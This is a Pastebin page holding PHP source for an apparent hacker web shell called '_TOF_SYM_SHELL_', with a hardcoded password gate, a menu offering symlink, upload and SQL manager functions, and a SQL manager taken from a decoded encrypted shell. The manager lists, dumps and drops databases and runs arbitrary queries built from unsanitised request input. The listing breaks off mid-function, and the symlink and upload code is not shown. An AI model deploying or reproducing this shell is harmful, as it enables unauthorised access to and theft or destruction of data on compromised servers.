Advertisement
ajithkp560

SYMLINKER with SQL Manager

Nov 28th, 2012
833
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 41.95 KB | None | 0 0
  1. <?php
  2.  /*
  3.  * Coded by AJITH KP aka 0x4j17# aka c0bra
  4.  *  Its free from backdooring function
  5.  *  I provide it as OpenSource
  6.  *  Jai Hind...
  7.  *  Greets to TOF members and all other Indian Hackers...
  8.  *  Note ---> SQL Manager was not done by me... I decoded a encrypted SQLManager Shell for add this feature...
  9.  *  So The credits of SQLManager goes to them
  10.  *
  11.  */
  12. $user = 'ajithkp560';  // Username
  13. $pass = 'ajithkp560';  // Password
  14. if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass))
  15. {
  16. if($_POST[usrname]==$user && $_POST[passwrd]==$pass)
  17. {
  18. print'<script>document.cookie="user='.$_POST[usrname].';";document.cookie="pass='.md5($_POST[passwrd]).';";</script>';
  19. }
  20. else
  21. {
  22. if($_POST['usrname'])
  23. {
  24. print'<script>alert("Sorry... Wrong UserName/PassWord");</script>';
  25. }
  26. echo '<title>r00t@TOF:~# LOGIN...</title>
  27. <body bgcolor="black"><br><br>
  28. <center><font color=#990000 size=5><b>::LOGIN::</b></center>
  29. <div align="center">
  30. <form method="POST" onsubmit="if(this.usrname.value==\'\'){return false;}">
  31. <input dir="ltr" name="usrname" value="User Name" type="text"  size="30" onfocus="if (this.value == \'User Name\'){this.value = \'\';}"/><br>
  32. <input dir="ltr" name="passwrd" value="password" type="password" size="30" onfocus="if (this.value == \'password\') this.value = \'\';" /><br>
  33. <input type="submit" value=" Login  " name="login" />
  34. </form></p>';
  35. exit;
  36. }
  37. }
  38. echo "<style>
  39. p.location { color: silver; }
  40. th, td { border:1px solid green; }
  41. hr { color:green; background-color:green; }
  42. textarea { width:900px; height: 350px; border: 2px solid green; background-color:black; color: green; font-size:103%; }
  43. input { background-color:black; color:green; border: 1px solid green; }
  44. html { background:url(http://www.ajithkp560.hostei.com/images/background.gif) black; }
  45. tr { background-color: black; color: green; border:1px groove green; cellpadding:5px;  }
  46. body, a, p { font-family:tahoma; backgound-color:black; border: 1ps solid green; color: green; font-size:15; }
  47. .title { background-color: black; color: green; width:960px; height:auto; border:1px groove green; -moz-border-radius: 20px; border-radius: 20px; }
  48. .greets { background-color: black; color: green; width: 960px; height: auto; font-family: helvetica; border:1px solid green; -moz-border-radius: 20px; border-radius: 20px; }
  49. .container { background-color: black; color: green; border:1px solid green; -moz-border-radius: 10px; border-radius: 10px; width:960px; font-size=15px; }
  50. .containerx { background-color: black; color: green; width:auto; height:auto; font-size=15px; border:1px solid green; }
  51. a { color: red; text-decoration:none; font-size=15px; }
  52. a:hover { color:green; text-decoration: blink; }
  53. </style>";
  54. echo "<title>r00t@TOF:~#</title><body><center>
  55. <div class=title><p><h><font size=6>_TOF_SYM_SHELL_</font></h><br />".php_uname()."<br />
  56. [ <a href=http://www.terminalcoders.blogspot.in>home</a> ] [ <a href=http://www.openfire-security.net>Forum</a> ]</p></div>
  57. <br />";
  58. echo "</div><br />
  59. <div class=greets><p>[ <a href=?>HOME</a> ] [ <a href=?sym=akp>SYMLINK</a> ] [ <a href=?sql>SQL Manager</a> ] [ <a href=?upload=akp>UPLOAD</a> ] [ <a href=?about=akp>About us</a> ]</p></div><br />";
  60. if(isset($_REQUEST['sql']))
  61. {
  62. echo '<div class=containerx>';
  63. if ( function_exists('ini_get') ) {
  64.     $onoff = ini_get('register_globals');
  65. } else {
  66.     $onoff = get_cfg_var('register_globals');
  67. }
  68. if ($onoff != 1) {
  69.     @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  70.     @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  71.     @extract($HTTP_POST_FILES, EXTR_SKIP);
  72.     @extract($HTTP_POST_VARS, EXTR_SKIP);
  73.     @extract($HTTP_GET_VARS, EXTR_SKIP);
  74.     @extract($HTTP_ENV_VARS, EXTR_SKIP);
  75. }
  76. function logon() {
  77. global $PHP_SELF;
  78. setcookie( "mysql_web_admin_username" );
  79. setcookie( "mysql_web_admin_password" );
  80. setcookie( "mysql_web_admin_hostname" );
  81. echo "<title>r00t@TOF:~# Database</title>\n";
  82. echo "<table width=100% height=100%><tr><td><center>\n";
  83. echo "<table cellpadding=2><tr><td><center>\n";
  84. echo "<table cellpadding=20><tr><td><center>\n";
  85. echo "<form sql='$PHP_SELF'>\n";
  86. echo "<input type=hidden name=sql value=logon_submit>\n";
  87. echo "<table cellpadding=5 cellspacing=1>\n";
  88. echo "<tr><td></td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  89. echo "<tr><td></td><td> <input type=text name=username value='username'></td></tr>\n";
  90. echo "<tr><td></td><td> <input type=password name=password value='password'></td></tr>\n";
  91. echo "</table><p>\n";
  92. echo "<input type=submit value='Login'><br>\n";
  93. echo "</form>\n";
  94. echo "</center></td></tr></table>\n";
  95. echo "</center></td></tr></table>\n";
  96. echo "<p><hr width=300>\n";
  97. echo "<h2>r00t@TOF~# SQL Manager</h2>\n";
  98. echo "</body>\n";
  99. echo "</html>\n";
  100. }
  101.  
  102. function logon_submit() {
  103. global $username, $password, $hostname ,$PHP_SELF;
  104. if($hostname =='')
  105. $hostname = 'localhost';
  106.     setcookie( "mysql_web_admin_username", $username );
  107.     setcookie( "mysql_web_admin_password", $password );
  108.     setcookie( "mysql_web_admin_hostname", $hostname );
  109.         print'<script>document.cookie="mysql_web_admin_hostname='.$hostname.';";document.cookie="mysql_web_admin_username='.$username.';";document.cookie="mysql_web_admin_password='.$password.';";</script>';
  110.     echo "<html>";
  111.     echo "<head>";
  112.     echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?sql=listDBs'>";
  113.     echo "</head>";
  114.     echo "</html>";
  115. }
  116. function echoQueryResult() {
  117.     global $queryStr, $errMsg;
  118.  
  119.     if( $errMsg == "" ) $errMsg = "Success";
  120.     if( $queryStr != "" ) {
  121.         echo "<table cellpadding=5>\n";
  122.         echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  123.         echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  124.         echo "</table><p>\n";
  125.     }
  126. }
  127.  
  128. function listDatabases() {
  129.     global $mysqlHandle, $PHP_SELF;
  130.  
  131.     echo "<h2>Databases List</h2>\n";
  132.  
  133.     echo "<form sql='$PHP_SELF'>\n";
  134.     echo "<input type=hidden name=sql value=createDB>\n";
  135.     echo "<input type=text name=dbname>\n";
  136.     echo "<input type=submit value='Create Database'>\n";
  137.     echo "</form>\n";
  138.     echo "<hr>\n";
  139.  
  140.     echo "<table cellspacing=1 cellpadding=5>\n";
  141.  
  142.     $pDB = mysql_list_dbs( $mysqlHandle );
  143.     $num = mysql_num_rows( $pDB );
  144.     for( $i = 0; $i < $num; $i++ ) {
  145.         $dbname = mysql_dbname( $pDB, $i );
  146.         echo "<tr>\n";
  147.         echo "<td>$dbname</td>\n";
  148.         echo "<td><a href='$PHP_SELF?sql=listTables&dbname=$dbname'>Tables</a></td>\n";
  149.         echo "<td><a href='$PHP_SELF?sql=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  150.         echo "<td><a href='$PHP_SELF?sql=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  151.         echo "</tr>\n";
  152.     }
  153.     echo "</table>\n";
  154. }
  155.  
  156. function createDatabase() {
  157.     global $mysqlHandle, $dbname, $PHP_SELF;
  158.  
  159.     mysql_create_db( $dbname, $mysqlHandle );
  160.     listDatabases();
  161. }
  162.  
  163. function dropDatabase() {
  164.     global $mysqlHandle, $dbname, $PHP_SELF;
  165.  
  166.     mysql_drop_db( $dbname, $mysqlHandle );
  167.     listDatabases();
  168. }
  169.  
  170. function listTables() {
  171.     global $mysqlHandle, $dbname, $PHP_SELF;
  172.  
  173.  
  174.     echo "<h2>Tables List</h2>\n";
  175.     echo "<p class=location>$dbname</p>\n";
  176.     echoQueryResult();
  177.     echo "<form sql='$PHP_SELF'>\n";
  178.     echo "<input type=hidden name=sql value=createTable>\n";
  179.     echo "<input type=hidden name=dbname value=$dbname>\n";
  180.     echo "<input type=text name=tablename>\n";
  181.     echo "<input type=submit value='Create Table'>\n";
  182.     echo "</form>\n";
  183.     echo "<form sql='$PHP_SELF'>\n";
  184.     echo "<input type=hidden name=sql value=query>\n";
  185.     echo "<input type=hidden name=dbname value=$dbname>\n";
  186.     echo "<input type=text size=120 name=queryStr>\n";
  187.     echo "<input type=submit value='Query'>\n";
  188.     echo "</form>\n";
  189.     echo "<hr>\n";
  190.  
  191.     $pTable = mysql_list_tables( $dbname );
  192.  
  193.     if( $pTable == 0 ) {
  194.         $msg  = mysql_error();
  195.         echo "<h3>Error : $msg</h3><p>\n";
  196.         return;
  197.     }
  198.     $num = mysql_num_rows( $pTable );
  199.  
  200.     echo "<table cellspacing=1 cellpadding=5>\n";
  201.  
  202.     for( $i = 0; $i < $num; $i++ ) {
  203.         $tablename = mysql_tablename( $pTable, $i );
  204.  
  205.         echo "<tr>\n";
  206.         echo "<td>\n";
  207.         echo "$tablename\n";
  208.         echo "</td>\n";
  209.         echo "<td>\n";
  210.         echo "<a href='$PHP_SELF?sql=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  211.         echo "</td>\n";
  212.         echo "<td>\n";
  213.         echo "<a href='$PHP_SELF?sql=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  214.         echo "</td>\n";
  215.         echo "<td>\n";
  216.         echo "<a href='$PHP_SELF?sql=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  217.         echo "</td>\n";
  218.         echo "<td>\n";
  219.         echo "<a href='$PHP_SELF?sql=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  220.         echo "</td>\n";
  221.         echo "</tr>\n";
  222.     }
  223.  
  224.     echo "</table>";
  225. }
  226.  
  227. function createTable() {
  228.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  229.  
  230.     $queryStr = "CREATE TABLE $tablename ( no INT )";
  231.     mysql_select_db( $dbname, $mysqlHandle );
  232.     mysql_query( $queryStr, $mysqlHandle );
  233.     $errMsg = mysql_error();
  234.  
  235.     listTables();
  236. }
  237.  
  238. function dropTable() {
  239.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  240.  
  241.     $queryStr = "DROP TABLE $tablename";
  242.     mysql_select_db( $dbname, $mysqlHandle );
  243.     mysql_query( $queryStr, $mysqlHandle );
  244.     $errMsg = mysql_error();
  245.  
  246.     listTables();
  247. }
  248.  
  249. function viewSchema() {
  250.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  251.  
  252.     echo "<h2>Table Schema</h2>\n";
  253.     echo "<p class=location>$dbname > $tablename</p>\n";
  254.  
  255.     echoQueryResult();
  256.  
  257.     echo "<a href='$PHP_SELF?sql=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  258.     echo "<a href='$PHP_SELF?sql=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  259.     echo "<hr>\n";
  260.  
  261.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  262.     $num = mysql_num_rows( $pResult );
  263.  
  264.     echo "<table cellspacing=1 cellpadding=5>\n";
  265.     echo "<tr>\n";
  266.     echo "<th>Field</th>\n";
  267.     echo "<th>Type</th>\n";
  268.     echo "<th>Null</th>\n";
  269.     echo "<th>Key</th>\n";
  270.     echo "<th>Default</th>\n";
  271.     echo "<th>Extra</th>\n";
  272.     echo "<th colspan=2>sql</th>\n";
  273.     echo "</tr>\n";
  274.  
  275.  
  276.     for( $i = 0; $i < $num; $i++ ) {
  277.         $field = mysql_fetch_array( $pResult );
  278.         echo "<tr>\n";
  279.         echo "<td>".$field["Field"]."</td>\n";
  280.         echo "<td>".$field["Type"]."</td>\n";
  281.         echo "<td>".$field["Null"]."</td>\n";
  282.         echo "<td>".$field["Key"]."</td>\n";
  283.         echo "<td>".$field["Default"]."</td>\n";
  284.         echo "<td>".$field["Extra"]."</td>\n";
  285.         $fieldname = $field["Field"];
  286.         echo "<td><a href='$PHP_SELF?sql=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  287.         echo "<td><a href='$PHP_SELF?sql=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  288.         echo "</tr>\n";
  289.     }
  290.     echo "</table>\n";
  291.  
  292. }
  293.  
  294. function manageField( $cmd ) {
  295.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  296.  
  297.     if( $cmd == "add" )
  298.         echo "<h2>Tambah Field</h2>\n";
  299.     else if( $cmd == "edit" ) {
  300.         echo "<h2>Edit Field</h2>\n";
  301.         $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  302.         $num = mysql_num_rows( $pResult );
  303.         for( $i = 0; $i < $num; $i++ ) {
  304.             $field = mysql_fetch_array( $pResult );
  305.             if( $field["Field"] == $fieldname ) {
  306.                 $fieldtype = $field["Type"];
  307.                 $fieldkey = $field["Key"];
  308.                 $fieldextra = $field["Extra"];
  309.                 $fieldnull = $field["Null"];
  310.                 $fielddefault = $field["Default"];
  311.                 break;
  312.             }
  313.         }
  314.         $type = strtok( $fieldtype, " (,)\n" );
  315.         if( strpos( $fieldtype, "(" ) ) {
  316.             if( $type == "enum" | $type == "set" ) {
  317.                 $valuelist = strtok( " ()\n" );
  318.             } else {
  319.                 $M = strtok( " (,)\n" );
  320.                 if( strpos( $fieldtype, "," ) )
  321.                     $D = strtok( " (,)\n" );
  322.             }
  323.         }
  324.     }
  325.  
  326.     echo "<p class=location>$dbname > $tablename</p>\n";
  327.     echo "<form sql=$PHP_SELF>\n";
  328.  
  329.     if( $cmd == "add" )
  330.         echo "<input type=hidden name=sql value=addField_submit>\n";
  331.     else if( $cmd == "edit" ) {
  332.         echo "<input type=hidden name=sql value=editField_submit>\n";
  333.         echo "<input type=hidden name=old_name value=$fieldname>\n";
  334.     }
  335.     echo "<input type=hidden name=dbname value=$dbname>\n";
  336.     echo "<input type=hidden name=tablename value=$tablename>\n";
  337.  
  338.     echo "<h3>Name</h3>\n";
  339.     echo "<input type=text name=name value=$fieldname><p>\n";
  340.     echo '
  341.  
  342. <h3>Type</h3>
  343.  
  344. <font size=2>
  345. * `M\' indicates the maximum display size.<br>
  346. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  347. </font>
  348.  
  349. <table>
  350. <tr>
  351. <th>Type</th><th> M </th><th> D </th><th>unsigned</th><th>zerofill</th><th>binary</th>
  352. </tr>
  353. <tr>
  354. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  355. <td align=center>O</td>
  356. <td> </td>
  357. <td align=center>O</td>
  358. <td align=center>O</td>
  359. <td> </td>
  360. </tr>
  361. <tr>
  362. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  363. <td align=center>O</td>
  364. <td> </td>
  365. <td align=center>O</td>
  366. <td align=center>O</td>
  367. <td> </td>
  368. </tr>
  369. <tr>
  370. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  371.  
  372. <td align=center>O</td>
  373. <td> </td>
  374. <td align=center>O</td>
  375. <td align=center>O</td>
  376. <td> </td>
  377. </tr>
  378. <tr>
  379. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  380. <td align=center>O</td>
  381. <td> </td>
  382. <td align=center>O</td>
  383. <td align=center>O</td>
  384. <td> </td>
  385. </tr>
  386. <tr>
  387. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  388. <td align=center>O</td>
  389. <td> </td>
  390. <td align=center>O</td>
  391. <td align=center>O</td>
  392. <td> </td>
  393. </tr>
  394. <tr>
  395. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  396. <td align=center>O</td>
  397. <td align=center>O</td>
  398. <td> </td>
  399. <td align=center>O</td>
  400. <td> </td>
  401. </tr>
  402. <tr>
  403. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  404. <td align=center>O</td>
  405. <td align=center>O</td>
  406. <td> </td>
  407. <td align=center>O</td>
  408. <td> </td>
  409. </tr>
  410. <tr>
  411. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  412. <td align=center>O</td>
  413. <td align=center>O</td>
  414. <td> </td>
  415. <td align=center>O</td>
  416. <td> </td>
  417. </tr>
  418. <tr>
  419. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  420. <td> </td>
  421. <td> </td>
  422. <td> </td>
  423. <td> </td>
  424. <td> </td>
  425. </tr>
  426. <tr>
  427. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  428. <td> </td>
  429. <td> </td>
  430. <td> </td>
  431. <td> </td>
  432. <td> </td>
  433. </tr>
  434. <tr>
  435. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  436. <td align=center>O</td>
  437. <td> </td>
  438. <td> </td>
  439. <td> </td>
  440. <td> </td>
  441. </tr>
  442. <tr>
  443. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  444. <td> </td>
  445. <td> </td>
  446. <td> </td>
  447. <td> </td>
  448. <td> </td>
  449. </tr>
  450. <tr>
  451. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  452. <td> </td>
  453. <td> </td>
  454. <td> </td>
  455. <td> </td>
  456. <td> </td>
  457. </tr>
  458. <tr>
  459. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  460. <td align=center>O</td>
  461. <td> </td>
  462. <td> </td>
  463. <td> </td>
  464. <td align=center>O</td>
  465. </tr>
  466. <tr>
  467. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  468. <td align=center>O</td>
  469. <td> </td>
  470. <td> </td>
  471. <td> </td>
  472. <td align=center>O</td>
  473. </tr>
  474. <tr>
  475. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  476. <td> </td>
  477. <td> </td>
  478. <td> </td>
  479. <td> </td>
  480. <td> </td>
  481. </tr>
  482. <tr>
  483. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  484. <td> </td>
  485. <td> </td>
  486. <td> </td>
  487. <td> </td>
  488. <td> </td>
  489. </tr>
  490. <tr>
  491. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  492. <td> </td>
  493. <td> </td>
  494. <td> </td>
  495. <td> </td>
  496. <td> </td>
  497. </tr>
  498. <tr>
  499. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  500. <td> </td>
  501. <td> </td>
  502. <td> </td>
  503. <td> </td>
  504. <td> </td>
  505. </tr>
  506. <tr>
  507. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  508. <td> </td>
  509. <td> </td>
  510. <td> </td>
  511. <td> </td>
  512. <td> </td>
  513. </tr>
  514. <tr>
  515. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  516. <td> </td>
  517. <td> </td>
  518. <td> </td>
  519. <td> </td>
  520. <td> </td>
  521. </tr>
  522. <tr>
  523. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  524. <td> </td>
  525. <td> </td>
  526. <td> </td>
  527. <td> </td>
  528. <td> </td>
  529. </tr>
  530. <tr>
  531. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  532. <td> </td>
  533. <td> </td>
  534. <td> </td>
  535. <td> </td>
  536. <td> </td>
  537. </tr>
  538. <tr>
  539. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  540. <td colspan=5><center>value list</center></td>
  541. </tr>
  542. <tr>
  543. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  544. <td colspan=5><center>value list</center></td>
  545. </tr>
  546.  
  547. </table>
  548. <table>
  549. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  550. <tr>
  551. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  552. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  553. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  554. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  555. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo '></td>
  556. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  557. </tr>
  558. </table>
  559.  
  560.  
  561. <h3>Flags</h3>
  562. <table>
  563. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  564. <tr>
  565. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  566. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  567. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  568. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  569. </tr>
  570. </table>
  571.  
  572. <p>';
  573.  
  574.     if( $cmd == "add" )
  575.         echo "<input type=submit value='Add Field'>\n";
  576.     else if( $cmd == "edit" )
  577.         echo "<input type=submit value='Edit Field'>\n";
  578.     echo "<input type=button value=Cancel onClick='history.back()'>\n";
  579.     echo "</form>\n";
  580. }
  581.  
  582. function manageField_submit( $cmd ) {
  583.     global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  584.         $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  585.  
  586.     if( $cmd == "add" )
  587.         $queryStr = "ALTER TABLE $tablename ADD $name ";
  588.     else if( $cmd == "edit" )
  589.         $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  590.    
  591.     if( $M != "" )
  592.         if( $D != "" )
  593.             $queryStr .= "$type($M,$D) ";
  594.         else
  595.             $queryStr .= "$type($M) ";
  596.     else if( $valuelist != "" ) {
  597.         $valuelist = stripslashes( $valuelist );
  598.         $queryStr .= "$type($valuelist) ";
  599.     } else
  600.         $queryStr .= "$type ";
  601.  
  602.     $queryStr .= "$unsigned $zerofill $binary ";
  603.  
  604.     if( $default_value != "" )
  605.         $queryStr .= "DEFAULT '$default_value' ";
  606.    
  607.     $queryStr .= "$not_null $auto_increment";
  608.  
  609.     mysql_select_db( $dbname, $mysqlHandle );
  610.     mysql_query( $queryStr, $mysqlHandle );
  611.     $errMsg = mysql_error();
  612.  
  613.     // key change
  614.     $keyChange = false;
  615.     $result = mysql_query( "SHOW KEYS FROM $tablename" );
  616.     $primary = "";
  617.     while( $row = mysql_fetch_array($result) )
  618.         if( $row["Key_name"] == "PRIMARY" ) {
  619.             if( $row[Column_name] == $name )
  620.                 $keyChange = true;
  621.             else
  622.                 $primary .= ", $row[Column_name]";
  623.         }
  624.     if( $primary_key == "PRIMARY KEY" ) {
  625.         $primary .= ", $name";
  626.         $keyChange = !$keyChange;
  627.     }
  628.     $primary = substr( $primary, 2 );
  629.     if( $keyChange == true ) {
  630.         $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  631.         mysql_query( $q );
  632.         $queryStr .= "<br>\n" . $q;
  633.         $errMsg .= "<br>\n" . mysql_error();
  634.         $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  635.         mysql_query( $q );
  636.         $queryStr .= "<br>\n" . $q;
  637.         $errMsg .= "<br>\n" . mysql_error();
  638.     }
  639.  
  640.     viewSchema();
  641. }
  642.  
  643. function dropField() {
  644.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  645.  
  646.     $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  647.     mysql_select_db( $dbname, $mysqlHandle );
  648.     mysql_query( $queryStr , $mysqlHandle );
  649.     $errMsg = mysql_error();
  650.  
  651.     viewSchema();
  652. }
  653.  
  654. function viewData( $queryStr ) {
  655.     global $sql, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  656.  
  657.     echo "<h2>Data in Table</h2>\n";
  658.     if( $tablename != "" )
  659.         echo "<p class=location>$dbname > $tablename</p>\n";
  660.     else
  661.         echo "<p class=location>$dbname</p>\n";
  662.  
  663.     $queryStr = stripslashes( $queryStr );
  664.     if( $queryStr == "" ) {
  665.         $queryStr = "SELECT * FROM $tablename";
  666.         if( $orderby != "" )
  667.             $queryStr .= " ORDER BY $orderby";
  668.         echo "<a href='$PHP_SELF?sql=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  669.         echo "<a href='$PHP_SELF?sql=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  670.     }
  671.  
  672.     $pResult = mysql_db_query( $dbname, $queryStr );
  673.     $fieldt = mysql_fetch_field($pResult);
  674.     $tablename = $fieldt->table;
  675.     $errMsg = mysql_error();
  676.  
  677.     $GLOBALS[queryStr] = $queryStr;
  678.  
  679.     if( $pResult == false ) {
  680.         echoQueryResult();
  681.         return;
  682.     }
  683.     if( $pResult == 1 ) {
  684.         $errMsg = "Success";
  685.         echoQueryResult();
  686.         return;
  687.     }
  688.  
  689.     echo "<hr>\n";
  690.  
  691.     $row = mysql_num_rows( $pResult );
  692.     $col = mysql_num_fields( $pResult );
  693.  
  694.     if( $row == 0 ) {
  695.         echo "Kosong !";
  696.         return;
  697.     }
  698.    
  699.     if( $rowperpage == "" ) $rowperpage = 30;
  700.     if( $page == "" ) $page = 0;
  701.     else $page--;
  702.     mysql_data_seek( $pResult, $page * $rowperpage );
  703.  
  704.     echo "<table>\n";
  705.     echo "<tr>\n";
  706.     for( $i = 0; $i < $col; $i++ ) {
  707.         $field = mysql_fetch_field( $pResult, $i );
  708.         echo "<th>";
  709.         if($sql == "viewData")
  710.             echo "<a href='$PHP_SELF?sql=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  711.         else
  712.             echo "<font style='text-decoration:none;color:#000000;font-size:x-small;'>".$field->name."</font>\n";
  713.         echo "</th>\n";
  714.     }
  715.     echo "<th colspan=2>sql</th>\n";
  716.     echo "</tr>\n";
  717.  
  718.     for( $i = 0; $i < $rowperpage; $i++ ) {
  719.         $rowArray = mysql_fetch_row( $pResult );
  720.         if( $rowArray == false ) break;
  721.         echo "<tr>\n";
  722.         $key = "";
  723.         for( $j = 0; $j < $col; $j++ ) {
  724.             $data = $rowArray[$j];
  725.  
  726.             $field = mysql_fetch_field( $pResult, $j );
  727.             if( $field->primary_key == 1 )
  728.                 $key .= "&" . $field->name . "=" . $data;
  729.  
  730.             if( strlen( $data ) > 30 )
  731.                 $data = substr( $data, 0, 30 ) . "...";
  732.             $data = htmlspecialchars( $data );
  733.             echo "<td>\n";
  734.             echo "$data\n";
  735.             echo "</td>\n";
  736.         }
  737.          
  738.         if( $key == "" )
  739.             echo "<td colspan=2>no Key</td>\n";
  740.         else {
  741.             echo "<td><a href='$PHP_SELF?sql=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  742.             echo "<td><a href='$PHP_SELF?sql=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  743.         }
  744.         echo "</tr>\n";
  745.     }
